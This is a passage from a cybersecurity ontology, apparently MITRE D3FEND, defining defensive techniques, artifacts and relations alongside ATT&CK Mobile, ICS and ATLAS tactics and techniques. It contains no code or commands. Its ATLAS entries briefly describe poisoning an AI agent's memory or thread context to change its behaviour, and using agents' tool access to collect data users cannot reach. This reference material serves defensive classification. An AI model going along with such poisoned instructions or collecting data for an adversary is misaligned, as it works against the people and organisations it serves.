definition: Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)
subclass of: DefenseEvasionTechnique

Masquerading - ATTACK Mobile
type: Class
attack-id: T1655
definition: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name, location, or appearance of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
subclass of: ATTACKMobileDefenseEvasionTechnique
preferred label: Masquerading

Initial Access - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Initial Access

Persistence - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Persistence

Privilege Escalation - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Privilege Escalation

Defense Evasion - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Defense Evasion

Credential Access - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Credential Access

Discovery - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Discovery

Lateral Movement - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Lateral Movement

Impact - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Impact

Collection - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Collection

Exfiltration - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Exfiltration

Command and Control - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic
preferred label: Command and Control

Execution - ATTACK Mobile
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKMobileTactic
subclass of: OffensiveTactic

Collection - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Collection

Command and Control - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Command and Control

Discovery - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Discovery

Evasion - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Evasion

Execution - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Execution

Impact - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Impact

Impair Process Control - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Impair Process Control

Inhibit Response Function - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Inhibit Response Function

Initial Access - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Initial Access

Lateral Movement - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Lateral Movement

Persistence - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Persistence

Privilege Escalation - ATTACK ICS
type: OffensiveTactic
type: Class
type: NamedIndividual
subclass of: ATTACKICSTactic
subclass of: OffensiveTactic
preferred label: Privilege Escalation

Target Audience
type: Class
subclass of: Agent Group

Temporal Difference Learning
type: Class
type: NamedIndividual
d3fend-id: D3A-TDL
definition: Temporal difference (TD) learning refers to a class of model-free reinforcement learning methods which learn by bootstrapping from the current estimate of the value function. These methods sample from the environment, like Monte Carlo methods, and perform updates based on current estimates, like dynamic programming methods
kb-article: ## References Temporal difference learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Temporal_difference_learning).
comment: Temporal difference (TD) learning refers to a class of model-free reinforcement learning methods which learn by bootstrapping from the current estimate of the value function.
subclass of: Model-freeReinforcementLearning

Thin Client Computer
type: Class
definition: A thin client is a lightweight computer that has been optimized for establishing a remote connection with a server-based computing environment. The server does most of the work, which can include launching software programs, performing calculations, and storing data. This contrasts with a fat client or a conventional personal computer; the former is also intended for working in a client-server model but has significant local processing power, while the latter aims to perform its function mostly locally. Thin clients are shared computers as the thin client's computing resources are provided by a remote server.
subclass of: SharedComputer

Ticket Granting Ticket
type: Class
definition: In some computer security systems, a Ticket Granting Ticket or Ticket to Get Tickets (TGT) is a small, encrypted identification file with a limited validity period. After authentication, this file is granted to a user for data traffic protection by the key distribution center (KDC) subsystem of authentication services such as Kerberos. The TGT file contains the session key, its expiration date, and the user's IP address, which protects the user from man-in-the-middle attacks. The TGT is used to obtain a service ticket from Ticket Granting Service (TGS). User is granted access to network services only after this service ticket is provided.
subclass of: AccessToken
alternative label: Golden Ticket

Trimmed Mean
type: Class
type: NamedIndividual
d3fend-id: D3A-TM
definition: The arithmetic mean of data values after a certain number or proportion of the highest and lowest data values have been discarded.
kb-article: ## References Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)
synonym: Truncated mean
subclass of: CentralTendency

Trust Store
type: Class
definition: Stores public information necessary to determine if another party can be trusted.
subclass of: DigitalInformationBearer

Trusted Library
type: Class
type: NamedIndividual
d3fend-id: D3-TL
definition: A trusted library is a collection of pre-verified and secure code modules or components that are used within software applications to perform specific functions. These libraries are considered reliable and have been vetted for security vulnerabilities, ensuring they do not introduce risks into the application.
hardens: Subroutine
kb-article: ## How it Works Using a trusted library can reduce the chances of introducing errors compared to writing code from scratch. ## Considerations Note: This resource should not be considered a definitive or exhaustive coding guideline.
kb-reference: Reference - Leverage Security Frameworks and Libraries - OWASP
subclass of: Restriction
  on property: hardens
  some values from: Subroutine
subclass of: SourceCodeHardening

Unlock Account
type: Class
type: NamedIndividual
d3fend-id: D3-ULA
definition: Restoring a user account's access to resources by unlocking a locked User Account.
kb-reference: Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks
restores: UserAccount
subclass of: Restriction
  on property: restores
  some values from: UserAccount
subclass of: RestoreUserAccountAccess

User Account Attach Policy Event
type: Class
definition: An event where an IAM policy is attached to a user account.
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

User Account Enable Event
type: Class
definition: An event where a user account is enabled, granting it active use within the system.
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

User Account MFA Enable Event
type: Class
definition: An event where multi-factor authentication (MFA) is enabled for a user account.
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: UserAccountEvent

Utility Software
type: Class
definition: Utility applications are software applications designed to help to analyze, configure, optimize or maintain a computer. It is used to support the computer infrastructure - in contrast to application software, which is aimed at directly performing tasks that benefit ordinary users. However, utilities often form part of the application systems. For example, a batch job may run user-written code to update a database and may then include a step that runs a utility to back up the database, or a job may run a utility to compress a disk before copying files.
subclass of: Software
alternative label: Utility Application

Virtual Machine Image
type: Class
type: NamedIndividual
contains: SystemStateImage
definition: A Virtual Machine Image (VMI) is a file that encapsulates the entire state of a virtual machine at a given point in time. This includes the operating system, applications, data, and configurations. VMIs are used to create and replicate virtual machines, ensuring consistency and reliability across different environments.
subclass of: Restriction
  on property: contains
  some values from: SystemStateImage
subclass of: StorageImage
alternative label: VM Image

Variable Type Validation
type: Class
type: NamedIndividual
d3fend-id: D3-VTV
definition: Ensuring that a variable has the correct type.
hardens: PointerDereferencingFunction
kb-article: ## How it Works A developer should consider how the variable will be used throughout the program and choose the correct variable type. A developer should programmatically check if a variable has the correct (expected) type before using that variable. ## Considerations * The result of an operation on an unexpected variable type will vary based on the language. * Note: This resource should not be considered a definitive or exhaustive coding guideline.
kb-reference: Reference - Type Systems
subclass of: Restriction
  on property: hardens
  some values from: PointerDereferencingFunction
subclass of: SourceCodeHardening

Variance
type: Class
type: NamedIndividual
d3fend-id: D3A-VAR
definition: Variance is a measure of dispersion, meaning it is a measure of how far a set of numbers is spread out from their average value.
kb-article: ## References Wikipedia. (n.d.). Variance. [Link](https://en.wikipedia.org/wiki/Variance)
subclass of: Variability

Virtual Memory Space
type: Class
definition: Virtual memory is a memory management technique where secondary memory can be used as if it were a part of the main memory. Virtual memory uses hardware and software to enable a computer to compensate for physical memory shortages
subclass of: Memory Address Space

Web Authentication
type: Class
definition: A request-response comprising a user credential presentation to a system and a verification response where the verifying party is a web server.
subclass of: Restriction
  on property: may-create
  some values from: SessionCookie
subclass of: Authentication

Weighted Mean
type: Class
type: NamedIndividual
d3fend-id: D3A-WM
definition: A mean that incorporates weighting to certain data elements.
kb-article: ## Considerations The arithmetic mean, geometric mean, and harmonic mean can all be weighted. ## References Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)
subclass of: CentralTendency

Wide Area Network
type: Class
definition: By contrast to a local area network (LAN), a wide area network (WAN), not only covers a larger geographic distance, but also generally involves leased telecommunication circuits or Internet links.
subclass of: Network
alternative label: WAN

Windows Registry Key Import Event
type: Class
definition: An event where registry key data is imported into the Windows Registry from an external source.
subclass of: WindowsRegistryKeyEvent

Wireless Router
type: Class
definition: A wireless router is a device that performs the functions of a router and also includes the functions of a wireless access point. It is used to provide access to the Internet or a private computer network. Depending on the manufacturer and model, it can function in a wired local area network, in a wireless-only LAN, or in a mixed wired and wireless network.
subclass of: Router
subclass of: WirelessAccessPoint

accessed-by
type: ObjectProperty
definition: x accessed-by y: The entity or resource x is accessed by entity y.
sub property of: associated-with
sub property of: may-be-accessed-by
inverse of: accesses

addressed-by
type: ObjectProperty
definition: x addressed-by y: Relates a resource x (e.g., network host, peripheral device, disk sector, a memory cell or other logical or physical entity) to a discrete address y in an address space that points to it.
sub property of: associated-with
inverse of: addresses

attached-to
type: ObjectProperty
definition: x attached-to y: A subject x is joined in close association to an object y.
sub property of: associated-with

attack-kb-annotation
type: AnnotationProperty
definition: x attack-kb-annotation y: The offensive technique x has the kb annotation of y.
domain: OffensiveTechnique
sub property of: d3fend-annotation

causes
type: ObjectProperty
definition: x causes y: The event or action x brings about event or action y as a consequence.
sub property of: associated-with

connected-to
type: ObjectProperty
definition: x connected-to y: The subject x shares a direct physical or logical link with object y such that communication is possible between them without intermediate routing.
sub property of: associated-with

control-name
type: DatatypeProperty
definition: The control (or control enhancement) name.
sub property of: d3fend-external-control-data-property

copy-of
type: ObjectProperty
definition: x copy-of y: The subject x is a duplicate of the object y.
sub property of: associated-with

created-by
type: ObjectProperty
definition: x created-by y: The entity x is brought into existence, developed, or generated by entity y.
sub property of: associated-with
sub property of: may-be-created-by
inverse of: creates

cwe-kb-annotation
type: AnnotationProperty
sub property of: d3fend-annotation

d3fend-catalog-annotation-property
type: AnnotationProperty
sub property of: d3fend-annotation
alternative label: d3fend-vendor-registry-annotation-property

d3fend-comment
type: DatatypeProperty
definition: x d3fend-comment y: The entity x has an D3FEND team written a public note about entity y.
sub property of: d3fend-kb-data-property

d3fend-general-object-property
type: ObjectProperty
sub property of: d3fend-object-property

d3fend-id
type: DatatypeProperty
definition: Unique identifier for a D3FEND technique. D3-[Acronym].
sub property of: d3fend-kb-data-property

deceives-with
type: ObjectProperty
definition: x deceives-with y: The entity x misleads or manipulates another entity using y as a tool, method, or mechanism to create false perceptions or understanding.
sub property of: d3fend-tactical-verb-property

dependent
type: ObjectProperty
definition: x dependent y: A dependent y is an entity that requires the fulfillment of the requirements specified in dependency x.
sub property of: associated-with

employs
type: ObjectProperty
definition: x employs y: The entity x makes purposeful use of entity y to perform a function.
sub property of: associated-with

end
type: ObjectProperty
sub property of: d3fend-process-object-property

enforces
type: ObjectProperty
definition: x enforces y: Technique x forces entity y to be compliant with a law, rule, or obligation.
sub property of: associated-with

erases
type: ObjectProperty
definition: x erases y: A technique x removes recorded data from storage device y creating space for new data.
sub property of: associated-with

extends
type: ObjectProperty
definition: x extends y: The entity x extend the scope or range or area of entity y, especially in the sense of widen the range of applications.
sub property of: modifies

fork
type: ObjectProperty
sub property of: d3fend-process-object-property

has-account
type: ObjectProperty
definition: x has-account y: The subject x has ownership or possession of some account y.
sub property of: owns

has-agent
type: ObjectProperty
definition: x has-agent y: The event x occurs because agent y actively carries it out.
sub property of: has-participant

has-link
type: DatatypeProperty
definition: x has-link y: The d3fend analysis x has the link y.
range: anyURI
sub property of: d3fend-kb-data-property

has-location
type: ObjectProperty
definition: x has-location y: The entity x is situated in a particular spot or position y.
sub property of: associated-with
alternative label: located_in

has-mediator
type: ObjectProperty
definition: x has-mediator y: The entity x relies on or is facilitated by entity y.
sub property of: has-participant

has-operating-mode
type: ObjectProperty
definition: x has-operating-mode y: The entity x is currently operating in or has the potential to be in operating mode y.
sub property of: associated-with

has-recipient
type: ObjectProperty
definition: x has_recipient y: An agent y is the intended recipient and decoder of the information contained in communication x.
sub property of: associated-with

has-sender
type: ObjectProperty
definition: x has_sender y: An agent y is the sender and encoder of the information contained in communication x.
sub property of: associated-with

hides
type: ObjectProperty
definition: x hides y: A technique or operation x conceals the digital artifact y.
range: DigitalArtifact
sub property of: associated-with

implemented-by
type: ObjectProperty
definition: x implemented-by y: The entity x is realized or brought into operation by entity y.
sub property of: associated-with
inverse of: implements

initiates
type: ObjectProperty
definition: x initiates y: The entity or action x starts or triggers entity or function y, bringing it into action.
sub property of: associated-with

input-of
type: ObjectProperty
definition: x input-of y: An artifact x is input of an event y iff x participates at the start of y, provides the material or information required for y to begin, and during y either x's state is altered or the information content it bears is realized.
domain: Artifact
range: Event
sub property of: participates-in

installs
type: ObjectProperty
definition: x installs y: An entity x sets up a digital artifact y for subsequent use. For example, an installation program can install application software.
sub property of: associated-with

instructed-by
type: ObjectProperty
definition: x instructed-by y: A subject x takes machine instructions from object y.
sub property of: associated-with

kb-reference
type: ObjectProperty
sub property of: d3fend-kb-object-property
inverse of: kb-reference-of
alternative label: has-technique-reference

kb-reference-title
type: DatatypeProperty
definition: x kb-reference-title y: The d3fend knowledge base reference x has the reference title string y.
range: string
sub property of: d3fend-kb-data-property

may-be-contained-by
type: ObjectProperty
type: TransitiveProperty
sub property of: may-be-associated-with
inverse of: may-contain

may-be-created-by
type: ObjectProperty
sub property of: may-be-associated-with
inverse of: may-create

may-be-invoked-by
type: ObjectProperty
sub property of: may-be-associated-with
inverse of: may-invoke

may-be-modified-by
type: ObjectProperty
sub property of: may-be-associated-with
inverse of: may-modify

may-deceive
type: ObjectProperty
pref-label: may deceive
sub property of: may-counter-attack

may-detect
type: ObjectProperty
pref-label: may detect
sub property of: may-counter-attack

may-disable
type: ObjectProperty
sub property of: may-evict

may-evaluate
type: ObjectProperty
sub property of: may-be-associated-with

may-harden
type: ObjectProperty
pref-label: may harden
sub property of: may-counter-attack

may-isolate
type: ObjectProperty
pref-label: may isolate
sub property of: may-counter-attack

name
type: DatatypeProperty
sub property of: d3fend-catalog-data-property

neutralizes
type: ObjectProperty
definition: x neutralizes y: The technique x makes the execution of actions of y ineffective by preventing or counterbalancing the effect of y.
sub property of: associated-with
sub property of: hardens

next
type: ObjectProperty
sub property of: d3fend-process-object-property

output-of
type: ObjectProperty
definition: x output-of y: An artifact x is output of an event y iff x must be present when y concludes, was absent in the same state when x began, and y counts as complete only when x is available at its end.
domain: Artifact
range: Event
sub property of: participates-in

owns
type: ObjectProperty
definition: x owns y: The subject x has ownership or possession of some object y.
sub property of: associated-with
alternative label: possesses

powered-by
type: ObjectProperty
definition: x powered-by y: x obtains its essential energy or force from y to perform its function or remain active.
sub property of: depends-on
inverse of: powers

powers
type: ObjectProperty
definition: x powers y: x furnishes y with the energy or force required for y's functionality or operation.
sub property of: has-dependent

process-ancestor
type: ObjectProperty
type: TransitiveProperty
definition: x process-ancestor y: The process y is a process ancestor of process x, indicating one or more process creation events were conducted were started at process y and subsequently created process x.
sub property of: process-property

process-command-line-arguments
type: DatatypeProperty
definition: x process-command-line-arguments y: The process x has the process command line arguments data y.
sub property of: process-data-property

process-environmental-variables
type: DatatypeProperty
definition: x process-environment-variables y: The process x has the process environmental variables data y.
sub property of: process-data-property
alternative label: process-environmental-variable

process-identifier
type: DatatypeProperty
definition: x process-identifier y: The process x has the process identifier y.
sub property of: process-data-property

process-image-path
type: ObjectProperty
definition: x process-image-path y: The filepath y is the process image path for the process x, indicating the path to the resource from which the process's image was loaded.
sub property of: process-property
alternative label: processImagePath

process-security-context
type: DatatypeProperty
definition: x process-security-context y: The process x has the process security context data y.
domain: Process
sub property of: process-data-property

process-user
type: ObjectProperty
definition: x process-user y: The process x has been executed by the user y.
sub property of: process-property
alternative label: processUser

date published
type: DatatypeProperty
definition: Date of publication of the resource.
range: dateTime
sub property of: date

receives
type: ObjectProperty
definition: x receives y: The subject x acquires object y from a communication medium and transfers y into its local context for storage or processing.
sub property of: associated-with

recorded-in
type: ObjectProperty
definition: x recorded-in y: The event x is documented, logged, or otherwise preserved within the digital artifact y, which stores or encodes relevant data about the event.
sub property of: associated-with
inverse of: records

signed-by
type: ObjectProperty
definition: x signed-by y: The digital artifact x includes a signature generated by the entity y, certifying the authenticity and integrity of x. This relationship indicates that x has undergone a validation process by y, using cryptographic measures to ensure that x is trustworthy and unaltered since the signing by y.
sub property of: validated-by
inverse of: signs

signs
type: ObjectProperty
definition: x signs y: The entity x applies a digital signature to the digital artifact y, thereby asserting its validity, integrity, and authenticity. Typically, this involves cryptographic techniques to securely bind the signature to y, ensuring that y's contents have not been altered and are authentic as endorsed by x.
sub property of: validates

start
type: ObjectProperty
sub property of: d3fend-process-object-property

Step 1 - Copy Token
type: NamedIndividual
invokes: CopyToken
next: Step 2 - Impersonate User

Step 2 - Impersonate User
type: NamedIndividual
invokes: Impersonate User

unmounts
type: ObjectProperty
definition: x unmounts y: An operation x removes the access via computer system's file system the availability of files and directories on a storage artifact y. Unmounts reverse or undo prior mount operations.
sub property of: associated-with

updates
type: ObjectProperty
definition: x updates y: The technique x updates the software for component y.
sub property of: hardens
sub property of: modifies

use-limits
type: ObjectProperty
definition: x use-limits y: An entity x specifies a designated number of uses beyond which some entity y cannot function or must be terminated.
sub property of: limits

validated-by
type: ObjectProperty
definition: x validated-by y: The digital artifact x has its authenticity and correctness confirmed or verified by the technique, operation, or agent y.
sub property of: associated-with
sub property of: hardens

version
type: DatatypeProperty
type: FunctionalProperty
definition: x version y: The product or service x has the version y.
range: Datatype
  union of: integer
  union of: string
sub property of: d3fend-catalog-data-property
sub property of: d3fend-external-control-data-property

windows-registry-key
type: DatatypeProperty
definition: x value y: The key-value pair x has the key y.
sub property of: windows-registry-data-property
alternative label: key

windows-registry-value
type: DatatypeProperty
definition: x value y: The key-value pair x has the data value y.
sub property of: windows-registry-data-property
alternative label: value

writes
type: ObjectProperty
definition: x writes y: The subject x takes the action of writing to a digital artifact y to store data and placing it into persistent memory for later reference.
sub property of: accesses

Acquire Public AI Artifacts - ATLAS
type: Class
attack-id: AML.T0002
definition: Adversaries may search public sources, including cloud storage, public-facing services, and software or data repositories, to identify AI artifacts. These AI artifacts may include the software stack used to train and deploy models, training and testing data, model configurations and parameters. An adversary will be particularly interested in artifacts hosted by or associated with the victim organization as they may represent what that organization uses in a production environment. Adversaries may identify artifact repositories via other resources associated with the victim organization (e.g. [Search Victim-Owned Websites](/techniques/AML.T0003) or [Search Open Technical Databases](/techniques/AML.T0000)). These AI artifacts often provide adversaries with details of the AI task and approach. AI artifacts can aid in an adversary's ability to [Create Proxy AI Model](/techniques/AML.T0005). If these artifacts include pieces of the actual model in production, they can be used to directly [Craft Adversarial Data](/techniques/AML.T0043). Acquiring some artifacts requires registration (providing user details such email/name), AWS keys, or written requests, and may require the adversary to [Establish Accounts](/techniques/AML.T0021). Artifacts might be hosted on victim-controlled infrastructure, providing the victim with some information on who has accessed that data.
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Acquire Public AI Artifacts

User Execution - ATLAS
type: Class
attack-id: AML.T0011
definition: An adversary may rely upon specific actions by a user in order to gain execution. Users may inadvertently execute unsafe code introduced via [AI Supply Chain Compromise](/techniques/AML.T0010). Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.
subclass of: ATLASExecutionTechnique
preferred label: User Execution

AI Agent Context Poisoning - ATLAS
type: Class
attack-id: AML.T0080
definition: Adversaries may attempt to manipulate the context used by an AI agent's large language model (LLM) to influence the responses it generates or actions it takes. This allows an adversary to persistently change the behavior of the target agent and further their goals. Context poisoning can be accomplished by prompting the an LLM to add instructions or preferences to memory (See [Memory](/techniques/AML.T0080.000)) or by simply prompting an LLM that uses prior messages in a thread as part of its context (See [Thread](/techniques/AML.T0080.001)).
subclass of: ATLASPersistenceTechnique
preferred label: AI Agent Context Poisoning

Data from AI Services - ATLAS
type: Class
attack-id: AML.T0085
definition: Adversaries may use their access to a victim organization's AI-enabled services to collect proprietary or otherwise sensitive information. As organizations adopt generative AI in centralized services for accessing an organization's data, such as with chat agents which can access retrieval augmented generation (RAG) databases and other data sources via tools, they become increasingly valuable targets for adversaries. AI agents may be configured to have access to tools and data sources that are not directly accessible by users. Adversaries may abuse this to collect data that a regular user wouldn't be able to access directly.
subclass of: ATLASCollectionTechnique
preferred label: Data from AI Services

Privilege Escalation Technique - ATLAS
type: Class
subclass of: Restriction
  on property: enables
  some values from: Privilege Escalation - ATLAS
subclass of: ATLASTechnique
preferred label: Privilege Escalation Technique

ATLAS Thing
type: Class
subclass of: ExternalThreatModelThing

Privilege Escalation Technique - ATTACK ICS
type: Class
subclass of: Restriction
  on property: enables
  some values from: Privilege Escalation - ATTACK ICS
subclass of: ATTACKICSTechnique
preferred label: Privilege Escalation Technique

ATTACK ICS Thing
type: Class
subclass of: ATTACKThing

ATTACK Mobile Thing
type: Class
subclass of: ATTACKThing

Access
type: Class
subclass of: Restriction
  on property: accesses
  some values from: Resource
subclass of: Restriction
  on property: has-mediator
  some values from: Access Mediator
subclass of: Action

Access Control Administration Event
type: Class
definition: An event concerning the administrative actions of setting, modifying, or abolishing permissions, configuring access control settings, and managing user access rights to ensure alignment with access control policies.
subclass of: Access Control Event
alternative label: Permission Administration Event
alternative label: Permission Provisioning Event

Access Control Event
type: Class
definition: An event that captures the implementation or evaluation of access control measures, including the application of rules and policies to govern the accessibility of resources by agents within a digital system.
subclass of: Restriction
  on property: has-participant
  some values from: AccessControlConfiguration
subclass of: Authorization Event

Access Mediation Event
type: Class
definition: An event involving the intermediary control mechanism that evaluates access requests and enforces access control decisions, ensuring that subjects' resource interactions comply with the established access policies.
subclass of: Restriction
  on property: has-participant
  some values from: Access Mediator
subclass of: Access Control Event
alternative label: Access Enforcement Event

Access Mediator
type: Class
type: NamedIndividual
definition: An Access Mediator enforces access control policies to regulate interactions with a resource.
implements: AccessControlConfiguration
mediates-access-to: Resource
used-by: Agent
subclass of: Restriction
  on property: mediates-access-to
  some values from: Resource
subclass of: Restriction
  on property: used-by
  some values from: Agent
subclass of: Restriction
  on property: implements
  some values from: AccessControlConfiguration
subclass of: DigitalInformationBearer

Access Modeling
type: Class
type: NamedIndividual
d3fend-id: D3-AM
definition: Access modeling captures and records the access permissions granted to identities (e.g., administrators, users, groups, systems) and optionally includes details on how these identities are stored, managed, and shared across systems.
maps: AccessControlConfiguration
maps: DigitalIdentity
maps: UserAccount
subclass of: Restriction
  on property: maps
  some values from: UserAccount
subclass of: Restriction
  on property: maps
  some values from: DigitalIdentity
subclass of: Restriction
  on property: maps
  some values from: AccessControlConfiguration
subclass of: OperationalActivityMapping

Access Process
type: Class
type: NamedIndividual
accesses: Process
subclass of: Restriction
  on property: accesses
  some values from: Process
subclass of: SystemCall

Active Certificate Analysis
type: Class
type: NamedIndividual
date created: 2020-08-05T00:00:00
d3fend-id: D3-ACA
definition: Actively collecting PKI certificates by connecting to the server and downloading its server certificates for analysis.
kb-article: ## How it works Analysis of server certificates using active methods to detect if certificates have been misconfigured or spoofed by using elements of the certificate, certificate authorities and signatures. ### Certificate validity analysis This can be accomplished by verifying the digital signature on certificate. ### Certificate path analysis The client's browser can perform path verification to ensure that the server's certificate contains a valid trust anchor. ### Certificate configuration analysis Some browsers can be configured to implement the key-usage extensions contained certificates. This can help to prevent a certificate from being misused. ### Certificate revocation status analysis Using either Certificate Revocation Lists (CRLs) or Online Certificate Status Protocol (OCSP) to determine the revocation status. OCSP Stapling, binding the status with the certificate, helps to mitigate potential delay in status verifications. ## Considerations * Management of the PKI across the enterprise typically requires automation to maintain scalability and flexibility * If the certificate authority, issuing the certificate, is compromised then all of the certificates issued by the CA are suspect * There may be delays associated with updates to certificates * Revoked certificates give the appearance of valid certificates until they are published to a trusted revocation service (OCSP or CRL) * The revocation service (OCSP or CRL) may be down during our connection and a browser will need to make a decision will need to be made about trusting the connection
kb-reference: Reference-SecuringWebTransactions
subclass of: CertificateAnalysis

Active Logical Link Mapping
type: Class
type: NamedIndividual
d3fend-id: D3-ALLM
definition: Active logical link mapping sends and receives network traffic as a means to map the whole data link layer, where the links represent logical data flows rather than physical connection
kb-article: ## How it works Active logical link mapping establishes awareness of logical links in the network by sending data over the network to gather information about logical connections in the network. Typically this will be achieved through network telemetry coordinated for network management and monitoring and will use a link layer discovery protocol such as LLDP and the information gathered and aggregated a higher levels using an application protocol such as SNMP. The information may be polled by network management softare or configured once and then pushed from network sensors (or agents.) Another means of establishing network connectivity is by means of sendingn traffic through the use of a tool such as traceroute, to determine the logical paths through the network architecture. ## Considerations * Best practice is to encrypte network monitoring data and require authentication for queries or admin/management functions. * Push notifications reduce bandwidth necessary to capture and maintain information if reliable transport is used. * Special consideration should be made before using of active scanning in OT networks and OT-safe options chosen where available.
kb-reference: Reference-IdentificationOfTracerouteNodesAndAssociatedDevices
kb-reference: Reference - SNMP - Network Auto-Discovery
may-query: NetworkAgent
subclass of: Restriction
  on property: may-query
  some values from: NetworkAgent
subclass of: LogicalLinkMapping

Active Physical Link Mapping
type: Class
type: NamedIndividual
d3fend-id: D3-APLM
definition: Active physical link mapping sends and receives network traffic as a means to map the physical layer.
kb-reference: Reference-IdentificationOfTracerouteNodesAndAssociatedDevices
may-query: NetworkAgent
synonym: Active Physical Layer Mapping
subclass of: Restriction
  on property: may-query
  some values from: NetworkAgent
subclass of: PhysicalLinkMapping
disjoint with: DirectPhysicalLinkMapping

Agent Group
type: Class
subclass of: Restriction
  on property: contains
  some values from: Agent
subclass of: Group

Application Configuration Database Record
type: Class
type: NamedIndividual
definition: A database record holding information used to configure the parameters and initial settings for an application.
subclass of: ApplicationConfiguration
subclass of: ConfigurationDatabaseRecord

Application Enable Event
type: Class
definition: An event representing the enabling of an application, allowing it to be started or accessed when required.
subclass of: Restriction
  on property: preceded-by
  some values from: ApplicationInstallationEvent
subclass of: ApplicationEvent

Application Exception Monitoring
type: Class
type: NamedIndividual
d3fend-id: D3-AEM
definition: Monitoring the failures of system counters and timers.
kb-article: ## How it works Monitoring timer and counter failures or exceedances can reveal issues with the program or platform, and is important for both safety and security. It may also help identify tampering or malicious activity affecting the device or the processes it controls.
monitors: Application Failure Count Variable
monitors: Log
synonym: Application Failure Monitoring
subclass of: Restriction
  on property: monitors
  some values from: Application Failure Count Variable
subclass of: Restriction
  on property: monitors
  some values from: Log
subclass of: ApplicationPerformanceMonitoring

Application Failure Count Variable
type: Class
type: NamedIndividual
definition: Variables that keep count of various failures and errors.
comment: Differenct controller brands have different system tags to monitor various aspects, for example in Allen-Bradley you might use S:ERR, T4:0.DN, C5:0.OV; respectively System error, timer/counter status bits
subclass of: RuntimeVariable

Application Installer
type: Class
type: NamedIndividual
definition: An application installer is a user application designed to install, configure, and deploy another application.
subclass of: UserApplication

Application Stop Event
type: Class
definition: An event capturing the cessation of an application’s operations, transitioning it to an inactive state and releasing any allocated resources.
subclass of: Restriction
  on property: preceded-by
  some values from: ApplicationStartEvent
subclass of: ApplicationEvent

Application Update Event
type: Class
definition: An event describing changes made to an application, such as updates, reconfigurations, or patch installations, while maintaining its presence on the system.
subclass of: Restriction
  on property: preceded-by
  some values from: ApplicationInstallationEvent
subclass of: ApplicationEvent

Artifact Server
type: Class
definition: A digital artifact server provides access services to digital artifacts in a repository. It provides an associated set of data management, search and access methods allowing application-independent access to the content.
subclass of: WebServer

Artificial Neural Network Classification
type: Class
type: NamedIndividual
d3fend-annotation: Classification ANNs seek to classify an observation as belonging to some discrete class as a function of the inputs. The input features (independent variables) can be categorical or numeric types, however, we require a categorical feature as the dependent variable.
d3fend-id: D3A-ANNC
